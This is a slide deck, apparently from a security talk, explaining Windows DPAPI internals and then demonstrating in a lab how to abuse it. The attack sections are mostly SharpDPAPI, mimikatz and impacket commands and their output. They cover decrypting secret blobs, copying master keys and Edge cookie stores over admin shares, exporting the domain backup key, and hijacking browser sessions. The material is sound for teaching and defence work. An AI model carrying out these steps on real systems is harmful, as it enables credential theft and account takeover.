

# DPAPI

Windows - Data Protection API

# WHOAMI

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Speaker



WHY



# Encryption

# SIMPLE

For developers

HOW TO USE IT

# CRYPT32.DLL / dpapi.h



# .NET

```
using System.Security.Cryptography;
```

```
....
```

```
byte[] originalText = Encoding.Unicode.GetBytes(text);
```

```
byte[] encrypted = ProtectedData.Protect(originalText, entropy,  
DataProtectionScope.CurrentUser);
```

```
....
```

```
byte[] originalText = ProtectedData.Unprotect(encrypted, entropy,  
DataProtectionScope.CurrentUser);
```

# CRYPT32.DLL / dpapi.h

CryptProtectMemory



Process  
memory



CryptUnprotectMemory

# CRYPT32.DLL / dpapi.h

CryptUpdateProtectedState

When the user's security identifier (SID) has changed

# HOW DOES IT WORK

# KEYS

KEYS EVERYWHERE



# SESSION KEY

The real symmetric key that is used for encrypting and decrypting data

# MASTER KEYS

- Strong key(s)
- Never used directly for encryption
- Per account (user or machine)
- They are not stored unencrypted
- Cached in LSASS (decrypted)

# MASTER KEYS - EXPIRATION

- Master keys expire in 3 months
- This expiration prevents an attacker from compromising a single MasterKey and accessing all of a user's protected data
- DPAPI does not delete any expired MasterKeys. They are kept forever in the user's profile directory

# MASTER KEYS



# MASTER KEYS



ADDITIONAL DATA?

DEPENDS ON THE CONTEXT

# USERS

- SHA-1 or SHA-512 ( user's password ) -> password hash
- PBKDF2 ( password hash, sixteen random bytes for a salt, iteration count )
- PBKDF2 function calls an additional function a number of times ( iteration count ), to derive a key from the given data:
  - SHA-1 for that underlying function
- Result is used to decrypt the Master Key and obtain the Symmetric Key

# LOCAL USERS


C:\Users\user\AppData\Roaming\Microsoft\Protect

# LOCAL USER

```
Directory of C:\Users\clod\AppData\Roaming\Microsoft\Protect
```

12/07/2023	06:09 pm	<DIR>	.
12/07/2023	07:02 pm	<DIR>	..
12/07/2023	06:09 pm		24 CREDHIST
10/10/2023	06:23 pm	<DIR>	S-1-5-21-3148810585-2079276853-663762876-1000
		1 File(s)	24 bytes
		3 Dir(s)	207,848,529,920 bytes free

# CHANGE PWD




# LOCAL USER - MASTER KEYS

# DOMAIN USERS

C:\Users\user\AppData\Roaming\Microsoft\Protect

# DOMAIN USERS



LOCAL MACHINE

# LOCAL MACHINE

Directory of C:\Windows\System32\Microsoft\Protect\S-1-5-18


14/10/2023	08:04 pm	<DIR>	.
13/07/2023	01:07 pm	<DIR>	..
14/10/2023	08:04 pm		468 50534ce9-4430-4a63-9204-342f16044779
13/07/2023	01:07 pm		468 a7bd58c9-007a-4f73-9860-357eacb15126
13/07/2023	01:07 pm		468 b07241fc-7bb9-4e04-9463-c63bea926858
14/10/2023	08:04 pm		24 Preferred
13/07/2023	01:07 pm	<DIR>	User
		4 File(s)	1,428 bytes
		3 Dir(s)	208,356,298,752 bytes free

# SYSTEM USERS

Directory of C:\Windows\System32\Microsoft\Protect\S-1-5-18\User

10/10/2023	03:41 am	<DIR>	.
14/10/2023	08:04 pm	<DIR>	..
13/07/2023	01:07 pm		468 1d0b9dab-0bfb-42b1-859a-61f963c79b99
10/10/2023	03:41 am		468 8f452b3f-2718-4972-84a5-ac3f2d6e02c0
13/10/2023	10:03 pm		468 92f6cf61-3adb-46b4-9828-eff003ffc675
13/07/2023	01:07 pm		468 b06ec262-a041-4a73-9cb5-5750f7afa6a7
13/07/2023	01:07 pm		0 Diagnostic
14/10/2023	08:04 pm		3,508 Diagnostic.log
10/10/2023	03:41 am		24 Preferred
		7 File(s)	5,404 bytes
		2 Dir(s)	208,426,164,224 bytes free

# MACHINES / SYSTEM USERS



# ABUSE

# LOCAL USERS

- Access to the host in the context of the user: write own program that uses API legitimately
- You have the user password and access to the masterkeys: grab the keys and decrypt offline
- You have admin/SYSTEM: search for masterkeys in lsass (sekurlsa::dpapi)
- You have access to CREDHIST or masterkeys: crack to get password

# DOMAIN USERS

- Access to the host in the context of the user: write own program that uses API legitimately
- You have the user password or NTLM hash and access to the masterkeys: grab the keys and decrypt offline
- You have admin/SYSTEM: search for masterkeys in lsass (sekurlsa::dpapi)
- You have domain admin: grab the user keys, the domain private key and decrypt offline

# Machines

- Access to the host in the context of the user: write own program that uses API legitimately
- You have admin/SYSTEM: grab the LSA DPAPI\_SECRET, grab the masterkeys and decrypt offline
- You have admin/SYSTEM: search for masterkeys in lsass (sekurlsa::dpapi)

# TOOLS

- SharpDPAPI | SharpChrome: <https://github.com/GhostPack/SharpDPAPI>
- Mimikatz: <https://github.com/gentilkiwi/mimikatz/>
- Impacket: <https://github.com/fortra/impacket> ( <https://github.com/fortra/impacket/blob/master/examples/dpapi.py> )
- Chromium Cookie import / export tool: <https://github.com/rxwx/chromium>
- DonPAPI: <https://github.com/login-securite/DonPAPI>
- DPAPIck3: <https://github.com/tijldeneut/DPAPIck3>

# PRACTICAL SCENARIOS

# ACCESS TO THE VICTIM'S HOST AND THEIR PASSWORD

SharpDPAPI.exe masterkeys /password:victim\_password

```
cmd (running as teeone\ch1)
C:\dpapi>type ch1\secret
AQAAANCNd8BFdERjHoAwE/C1+sBAAAALV9tntdtUyr19oWKcffQAAAACAAAAADZgAAhAAAABAAAADykBmcioxWorSkJFa1YkhRAAAAAASAAACgAAAAEAAAOGDrA9EkS6F0JwDSuG
47toqXRMocTo7jMeAOdHmQt2VIP2RLcQRKLkXOBQAAABMA/28Wh3Wn60ornDvZ8ycD6zNIg==C:\dpapi>whoami
whoami\ch1

C:\dpapi>SharpDPAPI.exe masterkeys /password:ch1

SharpDPAPI
v1.12.0

[*] Action: User DPAPI Masterkey File Triage
[*] Found MasterKey : C:\Users\ch1\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-2485081872-3658626890-1143\b67db564-5d7b-4cb5-abd7-da1558a71f15
[*] Preferred master keys:
C:\Users\ch1\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-2485081872-3658626890-1143:b67db564-5d7b-4cb5-abd7-da1558a71f15
[*] User master key cache:
{b67db564-5d7b-4cb5-abd7-da1558a71f15}:A1161A8FD46153455A89B00428A341C9664E6632
```

# ACCESS TO THE VICTIM'S HOST AND THEIR PASSWORD

SharpDPAPI.exe blob /target:base64\_secret\_blob "{b67db564-5d7b-4cb5-abd7-da1558a71f15}:A1161A8FD46153455A89B00428A341C9664E6632"

```
C:\dpapi>SharpDPAPI.exe blob /target:AQAAANCNd8BFdERjHoAwE/C1+sBAAAALV9tntdtUyr19oVWKcffFQ
AAAAACAAAAAADZgAAwAAAAABAAAAADykBmcIOxWorSkJFa1YkhRAAAAASAAAACgAAAAEAAAOGDrA9EkS6F0JwDSuCpA
dQoAAAAS0qfm/K7oLDN6K47toqXRMocTo7jMeAOdWmQtd2VIP2RLcQRKLkXOBQAAABMA/28Wh3Wn60ornDvZ8ycD6zN
Ig== "{b67db564-5d7b-4cb5-abd7-da1558a71f15}:A1161A8FD46153455A89B00428A341C9664E6632"

SHARP DPAPI
v1.12.0

[*] Action: Describe DPAPI blob

guidMasterKey      : {b67db564-5d7b-4cb5-abd7-da1558a71f15}
size               : 178
flags              : 0x0
algHash/algCrypt   : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description       :
dec(blob)         : SuperSoooooSecret

SharpDPAPI completed in 00:00:00.0361564
```

# ACCESS TO THE VICTIM'S MASTER KEYS AND THEIR PASSWORD

```
xcopy /h /s /e \\192.168.10.189\c$  
\\Users\\b3\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-9006  
47349-2485081872-3658626890-1145\\* .
```

```
SharpDPAPI.exe masterkeys /target:"\\dpapi\\b3" /password:b3 /  
sid:S-1-5-21-900647349-2485081872-3658626890-1145
```

# ACCESS TO THE VICTIM'S MASTER KEYS AND THEIR PASSWORD

# ACCESS TO THE VICTIM'S MASTER KEYS AND THEIR PASSWORD

```
C:\dpapi>SharpDPAPI.exe masterkeys /target:"\dpapi\ch3" /password:ch3 /sid:S-1-5-21-900647349-2485081872-3658626890-1145
```

SharpDPAPI  
v1.12.0

```
[*] Action: User DPAPI Masterkey File Triage
```

```
[*] Preferred master keys:
```

```
\dpapi\ch3:c5ed24b1-bf01-47b9-98ba-0534d9ccbd5b
```

```
[*] User master key cache:
```

```
{c5ed24b1-bf01-47b9-98ba-0534d9ccbd5b}:F6B9E8796F1EDAD541034E9B565D41A19DEED303
```

# ACCESS TO THE VICTIM'S MASTER KEYS AND THEIR PASSWORD

SharpDPAPI.exe **blob /target:base64\_encrypted\_blob {c5ed24b1-bf01-47b9-98ba-0534d9ccbd5b}:F6B9E8796F1EDAD541034E9B565D41A19DEED303**

```
C:\dpapi>SharpDPAPI.exe blob /target:AQAAANCNd8BFdERjHoAwE/C1+sBAAAASttxQG/uUeYugU02cy9lwAAAAACAAAAAADZgAAwAAAABAAAAAYoNbETJgfAP1MPegfInREAAAAASAAACgAAAAEAAAAPxXgZI04JbkV4U1qzMy0ZQoAAAAB+TgoH5yLSNEbwd+4YEv1Do9jFpaTOSrF5BmYn6XLX9sJPtKHVuBSRQAAAD46wvgKgGdxEcXuyYrQmIWnxE01A== {c5ed24b1-bf01-47b9-98ba-0534d9ccbd5b}:F6B9E8796F1EDAD541034E9B565D41A19DEED303
```

SharpDPAPI  
v1.12.0

[\*] Action: Describe DPAPI blob

```
guidMasterKey      : {c5ed24b1-bf01-47b9-98ba-0534d9ccbd5b}
size              : 178
flags             : 0x0
algHash/algCrypt  : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description       :
dec(blob)         : SuperSoooooSecret
```

SharpDPAPI completed in 00:00:00.1627159

# ACCESS TO THE VICTIM'S HOST BUT NOT THEIR PASSWORD

SharpDPAPI.exe blob /unprotect /target:base64\_secret\_blob

The screenshot shows a terminal window titled "Select cmd (running as teeone\ch2)". The command history includes:

- C:\dpapi>whoami  
teeone\ch2
- C:\dpapi>type ch2\secret
- AQAAANCMnd8BFdERjHoAwE/C1+sBAAAAQZyyE716VkmwY4dnqJ859gAAAAACAAAAAADzgAAwAAAABAAAABNs1p7p8IH  
a4w/diFWuNioAAAAAASAAACgAAAAEAAAIIiwMwGWTFOpcmIJ5vfIM8oAAAAAc2xDJ5/j7PkjQqVxITwbDqabfjt0jaA1  
b1y8krMPrRNPEjIsm9VYExQAAADX8hAb6Y3fypuDZ5YDsRBJUDOFw==
- C:\dpapi>SharpDPAPI.exe blob /unprotect /target:AQAAANCMnd8BFdERjHoAwE/C1+sBAAAAQZyyE716Vkmw  
Y4dnqJ859gAAAAACAAAAAADzgAAwAAAABAAAABNs1p7p8IH  
a4w/diFWuNioAAAAAASAAACgAAAAEAAAIIiwMwGWTFO  
PcmIJ5vfIM8oAAAAAc2xDJ5/j7PkjQqVxITwbDqabfjt0jaA  
lb1y8krMPrRNPEjIsm9VYExQAAADX8hAb6Y3fypuDZ5Y  
DsRBJUDOFw==

The terminal window has a dark background and light-colored text. Below the terminal is a small icon bar with various icons and the text "v1.12.0".

Output from SharpDPAPI:

- [\*] Action: Describe DPAPI blob
- [\*] Using CryptUnprotectData() for decryption.

A red box highlights the following output details:

guidMasterKey	:	{13b29c41-7abd-4956-b063-8767a89f39f6}
size	:	178
flags	:	0x0
algHash/algCrypt	:	32772 (CALG_SHA) / 26115 (CALG_3DES)
description	:	
dec(blob)	:	SuperSoooooSecret

At the bottom of the terminal window, it says "SharpDPAPI completed in 00:00:00.0604933".

## ACCESS TO THE VICTIM'S MASTER KEYS, THEIR PASSWORD AND THE WINDOWS CREDENTIALS

```
xcopy /h /s /e \\192.168.10.189\c$  
\Users\ch4\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-2485081872-36586  
26890-1146\* .
```

```
xcopy /h /s /e \\192.168.10.189\c$  
\Users\ch4\AppData\Roaming\Microsoft\Credentials\FE7336B5C5351F1954FFOD19A  
A4478E7
```

```
SharpDPAPI.exe masterkeys /target:ch4 /password:ch4 /  
sid:S-1-5-21-900647349-2485081872-3658626890-1146
```

```
SharpDPAPI.exe credentials /target:ch4\FE7336B5C5351F1954FFOD19AA4478E7  
{60746c05-3e88-4bb3-89cc-  
bbd48194ac6b}:357AAEF4CD77729E3DC7608D7877B4C3D7DF4986
```

# ACCESS TO THE VICTIM'S MASTER KEYS, THEIR PASSWORD AND THE WINDOWS CREDENTIALS

The screenshot shows a terminal window titled "cmd (running as TEEONE\ch4)" with the IP address "192.168.10.206" at the top. The command entered is "C:\dpapi>SharpDPAPI.exe credentials /target:ch4\FE7336B5C5351F1954FF0D19AA4478E7 {60746c05-3e88-4bb3-89cc-bbd48194ac6b} /dump". The output displays the details of a Windows credential file, with the target credential file path highlighted by a red box.

```
C:\dpapi>SharpDPAPI.exe credentials /target:ch4\FE7336B5C5351F1954FF0D19AA4478E7 {60746c05-3e88-4bb3-89cc-bbd48194ac6b} /dump

[*] Action: User DPAPI Credential Triage

[*] Target Credential File: ch4\FE7336B5C5351F1954FF0D19AA4478E7


CredFile          : FE7336B5C5351F1954FF0D19AA4478E7
guidMasterKey     : {60746c05-3e88-4bb3-89cc-bbd48194ac6b}
size              : 382
flags             : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt   : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description       : Enterprise Credential Data

LastWritten       : 22/01/2024 2:15:55 am
TargetName        : Domain:target=localhost
TargetAlias        :
Comment           :
UserName          : ch4
Credential        : MySuperSecretPassword

SharpDPAPI completed in 00:00:00.0468870
```

# ACCESS TO THE VICTIM'S MASTER KEYS ONLY

SharpDPAPI.exe masterkeys /hashes /target:ch5 /sid:S-1-5-21-560205506-1775231562-540620640-1124



The screenshot shows a Windows Command Prompt window titled "Administrator: Command Prompt" with the IP address "192.168.10.206" in the title bar. The window content displays the following output:

```
C:\dpapi>SharpDPAPI.exe masterkeys /hashes /target:ch5 /sid:S-1-5-21-560205506-1775231562-540620640-1124
[!] Sharp DPAPI
[!] v1.12.0
[*] Action: User DPAPI Masterkey File Triage
[*] Preferred master keys:
ch5:6071e253-894d-46bd-9349-ea853ce80087
[*] User master key cache:
{6071e253-894d-46bd-9349-ea853ce80087} : $DPAPImk$1*3*S-1-5-21-560205506-1775231562-540620640-1124*des3*sha1*18000*5b81a46
262d774ce28bb87ff929954b4*208*bd1f14dc02d31e6b359c24fd29d3bc8953e44057239411a0ee0188be1ab3473668062b8eab9b7463a63289a574
e209352144e38f42ddcd4126c26458a600b6ead84e0452952b4ee7ef4fc7dd1a42a6e13875a66eb39cd9f932079c12da382e03712243c9c5f0dbd8
```

## ACCESS TO THE VICTIM'S MASTER KEYS AND DOMAIN BACKUP KEY

SharpDPAPI.exe **backupkey /file:key.pvk /  
server:192.168.10.206**

lsadump::backupkeys /system:192.168.10.206 /export

impacket.dpapi backupkeys --export -t teeone/da@192.168.10.206

# ACCESS TO THE VICTIM'S MASTER KEYS AND DOMAIN BACKUP KEY

```
ubuntu@tz-jump:~/dpapi$ impacket.dpapi backupkeys --export -t teeone/da@192.168.10.206
Impacket v0.12.0.dev1+20240116.639.82267d84 - Copyright 2023 Fortra
```

Password:

**tier zero**  
security

```
ubuntu@tz-jump:~/dpapi$ ls -ltr
total 20
-rw-rw-r-- 1 ubuntu ubuntu 2468 Jan 23 09:18 ch4.zip
drwxrwxr-x 2 ubuntu ubuntu 4096 Jan 23 09:18 ch4
-rw-rw-r-- 1 ubuntu ubuntu 1196 Jan 23 10:09 'G$BCKUPKEY_40037F5B-D66C-450F-A67A-F14E2D2537B5.pvk'
-rw-rw-r-- 1 ubuntu ubuntu 756 Jan 23 10:09 'G$BCKUPKEY_40037F5B-D66C-450F-A67A-F14E2D2537B5.der'
-rw-rw-r-- 1 ubuntu ubuntu 256 Jan 23 10:09 'G$BCKUPKEY_F43C63AD-07B7-4FF2-8854-F2787FD70738.key'
ubuntu@tz-jump:~/dpapi$
```

Action: User DPAPI Masterkey File Triage

## ACCESS TO THE VICTIM'S MASTER KEYS AND DOMAIN BACKUP KEY

```
xcopy /h /s /e \\192.168.10.189\c$  
\Users\ch6\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-24  
85081872-3658626890-1148\* .
```

```
SharpDPAPI.exe masterkeys /target:"ch6" /  
sid:S-1-5-21-900647349-2485081872-3658626890-1148 /  
pvk:key.pvk
```

```
SharpDPAPI.exe blob /target:base64_secret_blob {79886e5b-  
d3e4-429e-9042-  
f21fc07c33f7}:78D25A734557E92991FBA0F368F8683C574ADCA6
```

# ACCESS TO THE VICTIM'S MASTER KEYS AND DOMAIN BACKUP KEY

```
C:\dpapi>SharpDPAPI.exe masterkeys /target:"ch6" /sid:S-1-5-21-900647349-2485081872-3658626890-1148 /pvk:key.pvk
```

SharpDPAPI  
v1.12.0

```
[*] Action: User DPAPI Masterkey File Triage
```

```
[*] Preferred master keys:
```

```
ch6:79886e5b-d3e4-429e-9042-f21fc07c33f7
```

```
[*] User master key cache:
```

```
{79886e5b-d3e4-429e-9042-f21fc07c33f7}:78D25A734557E92991FBA0F368F8683C574ADCA6
```

ACCESS TO THE VICTIM'S HOST, THEIR PASSWORD AND ENCRYPTION  
DONE WITH ENTROPY

SharpDPAPI.exe masterkeys /password:ch7

SharpDPAPI.exe blob **/entropy:010203040506** /  
target:base64\_secret\_blob {2454721e-f1cc-4497-  
ac5f-75260f5db906}:52552BC6302B4B8BEB84D55346D2A72B23F9A  
B10

# ACCESS TO THE VICTIM'S HOST, THEIR PASSWORD AND ENCRYPTION DONE WITH ENTROPY

SharpDPAPI.exe blob /entropy:010203040506 /target:base64\_encrypted\_blob {2454721e-f1cc-4497-ac5f-75260f5db906}:52552BC6302B4B8BEB84D55346D2A72B23F9AB10

```
C:\dpapi>SharpDPAPI.exe blob /entropy:010203040506 /target:AQAAANCNd8BFdERjHoAwE/C1+sBAAAAHnJUJHzx10SsX3UmD125BgAAAAACAA/ihdggYnqdAAAAASAAACgAAAAEAAA0icOrdGTwNyMlmK9nGn9GAoAAAAXRp1RayrHN3DBES8Ae8k3N4Xx0HqwimENqsUZYVKj09GEcWRdj6hQAAA36KX80e-f1cc-4497-ac5f-75260f5db906}:52552BC6302B4B8BEB84D55346D2A72B23F9AB10

SharpDPAPI
v1.12.0

[*] Action: Describe DPAPI blob

guidMasterKey      : {2454721e-f1cc-4497-ac5f-75260f5db906}
size               : 178
flags              : 0x0
algHash/algCrypt   : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description       :
dec(blob)          : SuperSoooooSecret
```

# ACCESS TO THE VICTIM'S HOST, THEIR PASSWORD AND ENCRYPTION DONE WITH ENTROPY

using System.Security.Cryptography;

....

```
String encrypted = "AQAAANCMnd8BFdERjHoAwE/  
Cl+sBAAAHHnJUJMzxIOSsX3UmD125BgAAAAACAAAAAADZgAAwAAAABAAAADFExkhEfZC4H/  
ihdggyNqdAAAAASAAACgAAAAEAAAOCicOrdGTwNyMWmK9nGn9GAoAAAxAxRrplRayrHN3DBES  
8AeBk3N4XxOWqwimENqsUZYVKjO9GEcWRdj6hQAAAA36KX8GeZaKkgMKCcFOLVuZGkENA==";
```

```
byte[] encryptedText = Convert.FromBase64String(encrypted);
```

```
byte[] originalText = ProtectedData.Unprotect(encryptedText, { 1, 2, 3, 4, 5, 6 },  
DataProtectionScope.CurrentUser);
```

```
Console.WriteLine("{0}", Encoding.Unicode.GetString(originalText));
```

# ACCESS TO THE VICTIM'S APPDATA AND DOMAIN BACKUP KEY

- Edge and Chrome use a secret key (STATE KEY) to encrypt cookies, etc.
- The STATE KEY is itself encrypted with the DPAPI (Master Key of the user)
- Browsers' data, and often other applications' data, is stored under:

C:\Users\username\AppData

!! Including the encrypted STATE KEY !!

- Let's pretend our target victim has an authenticated session in gmail, or any other website


# ACCESS TO THE VICTIM'S APPDATA AND DOMAIN BACKUP KEY

```
xcopy /h /s /e "\\\192.168.10.189\c$  
\Users\ch8\AppData\Local\Microsoft\Edge\User Data\Local State" .
```


```
xcopy /h /s /e "\\\192.168.10.189\c$  
\Users\ch8\AppData\Roaming\Microsoft\Protect\S-1-5-21-900647349-24850  
81872-3658626890-1150\*" .
```

```
xcopy /h /s /e "\\\192.168.10.189\c$  
\Users\ch8\AppData\Local\Microsoft\Edge\User  
Data\Default\Network\Cookies" .
```

# ACCESS TO THE VICTIM'S APPDATA AND DOMAIN BACKUP KEY



# ACCESS TO THE VICTIM'S APPDATA AND DOMAIN BACKUP KEY



# ACCESS TO THE VICTIM'S APPDATA AND DOMAIN BACKUP KEY




The screenshot shows a Notepad window with the title "cookies - Notepad". The menu bar includes File, Edit, Format, View, and Help. The content area displays a large list of cookie entries, each consisting of several fields separated by commas. The fields typically include a timestamp, domain, path, name, value, and various flags (True or False). Some entries are heavily redacted with long strings of characters. The list is very long, spanning most of the page.

Timestamp	Domain	Path	Name	Value	Flags
13350393046432996	.msn.com	/edgeChromium-dhp	pglt-edgeChromium-dhp	,/edge,13366117845000000	,False,False,13350393046432996
13350393072817180	.msn.com	/edgeChromium-ntp	pglt-edgeChromium-ntp	,/edge,13366118508000000	,False,False,13350393072817180
13350393074401692	.popin.cc	/	_mguid_	,/,13381929074401692	,True,False,13350393074401692,True,13350393074401692
13350393046632870	.scorecardresearch.com	/	UID	,/,13384953046632870	,True,False,13350393046632870
13350393101431874	accounts.google.com	/ACCOUNT_CHOOSER		,/,13384953101431874	,True,True,13350393101431874
13350393101431689	accounts.google.com	/LSID		,/,13384953101431689	,True,True,13350393101431689
13350393080555534	accounts.google.com	/OTZ		,/,13352985080000000	,True,False,13350393155505626
13350393101431788	accounts.google.com	/__Host-1PLSID		,/,13384953101431788	,True,True,13350393101431788
13350393101431836	accounts.google.com	/__Host-3PLSID		,/,13384953101431836	,True,True,13350393101431836
13350393101431574	accounts.google.com	/__Host-GAPS		,/,13384953101431574	,True,True,13350393101431574
13350393046633535	assets.msn.com	/MUIDB		,/,13384089046633535	,False,True,13350393708431795
13350393051342221	assets.msn.com	/__C_Auth		,/service/News/Users/me,0	,False,False,1335039371221
13350393053997472	assets.msn.com	/__C_Auth		,/service/graph,0	,False,False,13350393053997472
13350393046633477	assets.msn.com	/__C_Auth		,/service/msn,0	,False,False,13350393073689824
13350393048635974	assets.msn.com	/__C_Auth		,/service/news/feed/pages,0	,False,False,133503937095
13350393053735199	assets.msn.com	/__C_Auth		,/service/v1/news/users/me,0	,False,False,13350393053735199
13350393112783028	contacts.google.com	/OTZ		,/,13352985113000000	,True,False,13350394949559931
13350393111513186	mail-ads.google.com	/COMPASS		,/mail/u/0,13351257111513186	,True,True,13350393111513186
13350393128093992	mail.google.com	/COMPASS		,/mail,13351257128093992	,True,True,13350393128093992
MJibhxyxyw-cUmvD28fird8Klza9IszVaMmSWKZPGmjecrXqMICmGKtpzHYe-Qz3uWJhgZk7fWDKYwKvf-HCUIrNDWb9					
13350393105453277	mail.google.com	/COMPASS		,/mail/u/0,13351257105453277	,True,True,13350393105453277
om13IB-noTfUpTfCFeDuNr9KiycCd1F1TcPxb94dmvNUiPbp900GW48UcoaBD_THDHwx8mg5Idn-osSYTcXUZfENthql					
13350393112436931	mail.google.com	/COMPASS		,/sync/u/0,13351257112436931	,True,True,13350394797
13350393106281725	mail.google.com	/GMAIL_AT		,/mail/u/0,0	,True,False,13350394786580257
13350393101699813	mail.google.com	/OSID		,/,13384953101699813	,True,True,13350394797586377
13350393110669533	mail.google.com	S		,/,0	,True,True,13350394797586377
13350393122832958	mail.google.com	/__Host-GMAIL_SCH		,/,0	,True,False,13350394786580257
13350393103635626	mail.google.com	/__Host-GMAIL_SCH_GML		,/,13352985103635626	,True,True,13350393103635626
13350393103635247	mail.google.com	/__Host-GMAIL_SCH_GMN		,/,13352985103635247	,True,True,13350393103635247
13350393103635547	mail.google.com	/__Host-GMAIL_SCH_GMS		,/,13352985103635547	,True,True,13350393103635547
13350393101700001	mail.google.com	/__Secure-OSID		,/,13384953101700001	,True,True,1335039479758
13350393045022956	ntp.msn.com	/MUIDB		,/,13384089046022956	,False,True,13350393704408995
13350393046140427	ntp.msn.com	/MicrosoftApplicationsTelemetryDeviceId		,/,13381929708563508	,True,13350393046140427

BUT.....

# ACCESS TO THE VICTIM'S APPDATA AND DOMAIN BACKUP KEY



# ACCESS TO THE VICTIM'S APPDATA AND DOMAIN BACKUP KEY

dpapi::masterkey /in:5a27b3ce-3e8b-446d-a455-1a67000bac10 /pvk:key.pvk

```
[domainkey]
**DOMAINKEY**
dwVersion      : 00000002 - 2
dwSecretLen    : 00000100 - 256
dwAccesscheckLen : 00000058 - 88
guidMasterKey   : {40037f5b-d66c-450f-a67a-f14e2d2537b5}
pbSecret       : efae84db8e236284a7edd726fad6e3fea239808e0f704dd6f11e9e5d7571693d965aa6ee40b4d484b09b9d6ccde39c0613b84c8425142d9b36b
479ea4048288a7e6dd9daa77ef6a80dbbc5fc85c27fa70ee8da748381991bb7eacab5ba9d659259af1cea6da1c1e83e1b62643e399d313c97045e3c299b29f0eaa0a134f66
534adc5684531e1ed508904613bf822cdc3f35b13927d3ebd59dd4251f625338fedfe4ae7d81ee3779c9b9571221df14a43d12cb52416c2286dc1b0a0d4fb55a238e5b1683
6a00ca16b0068854636736
pbAccesscheck   : f57a632949d18abf9120ed271abb840767c01aed6a6ac0ef5ab797e3685340f935fc8e7bdb6bb2f3c96494dc4344faafab213b070b77d2c9e3a
784c0b5465949c90bfbff1a5fd58b

[domainkey] with RSA private key

RSA decrypt is a success
* MasterKey len: 64
8c 4c 29 f1 1e 28 66 f2 72 b1 d6 a5 2b 33 d0 d1
97 74 63 db 1b d5 ae 9c f5 2d bd 59 38 2d 2f 35
ba f0 69 e7 b2 9b fe 83 57 47 ae 4f ad 81 4d 83
12 4c 38 e4 ed 6c a6 fb 61 4d 23 7d 32 42 75 2d
* SuppKey len: 32
7a 76 64 54 a0 71 2e 62 15 a5 3d fc df 15 10 87
d6 90 4d 09 92 67 93 39 f2 ab 66 c8 56 ba 92 b1

3DES decrypt is a success too
01 00 00 00 20 00 00 84 71 4e 14 a5 9d 82 81
83 59 92 2c 18 9f 13 40 c8 d2 73 9e c1 0c cf b2
ea 7b ba 4a 4a bd e0 26 01 05 00 00 00 00 00 05
15 00 00 00 b5 c9 ae 35 10 57 1f 94 4a 37 12 da
7e 04 00 00 b9 fd fc b5 17 23 08 57 8d 56 8f a2
56 4d 42 46 cc 75 21 73
* nonce : 84714e14a59d82818359922c189f1340c8d2739ec10ccfb2ea7bba4a4abde026
* SID   : S-1-5-21-900647349-2485081872-3658626890-1150
* SHA1  : b9fdfcb5172308578d568fa2564d4246cc752173
> Calc SHA1: b9fdfcb5172308578d568fa2564d4246cc752173
key : 8c4c29f11e2866f272b1d6a52b33d0d1977463db1bd5ae9cf52dbd59382d2f35baf069e7b29bfe835747ae4fad814d83124c38e4ed6ca6fb614d237d3242752d
sha1: 8d89053c0b729a6840d3cc3f8aa244c0870262e7
sid : S-1-5-21-900647349-2485081872-3658626890-1150

mimikatz #
```


# ACCESS TO THE VICTIM'S APPDATA AND DOMAIN BACKUP KEY

```
dpapi::create /guid:{5a27b3ce-3e8b-446d-a455-1a67000bac10} /  
key:8c4c29f11e2866f272b1d6a52b33d0d1977463db1bd5ae9cf52dbd59382d2  
f35baf069e7b29bfe835747ae4fad814d83124c38e4ed6ca6fb614d237d32427  
52d /password:YOUR_LOCAL_ACCOUNT_PASSWORD /protected
```

```
xcopy /H 5a27b3ce-3e8b-446d-a455-1a67000bac10 C:  
\Users\administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-9006473  
49-2485081872-3658626890-500\
```

OPEN EDGE...

# ACCESS TO THE VICTIM'S APPDATA AND DOMAIN BACKUP KEY



# STORY ENDING

- Domain compromised -> DPAPI private key
- Search users in the AD groups
- Hunt where they are logged in (corporate devices)
- Steal Master Keys and browser data from their workstations
- Take over their authenticated session for the vdaas

BROWSERS - <https://github.com/WICG/dbSC>



# CONCLUSION

Thanks tierzero  
security

<https://tierzerosecurity.co.nz/blog.html>

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<https://www.linkedin.com/in/claudio-contin/>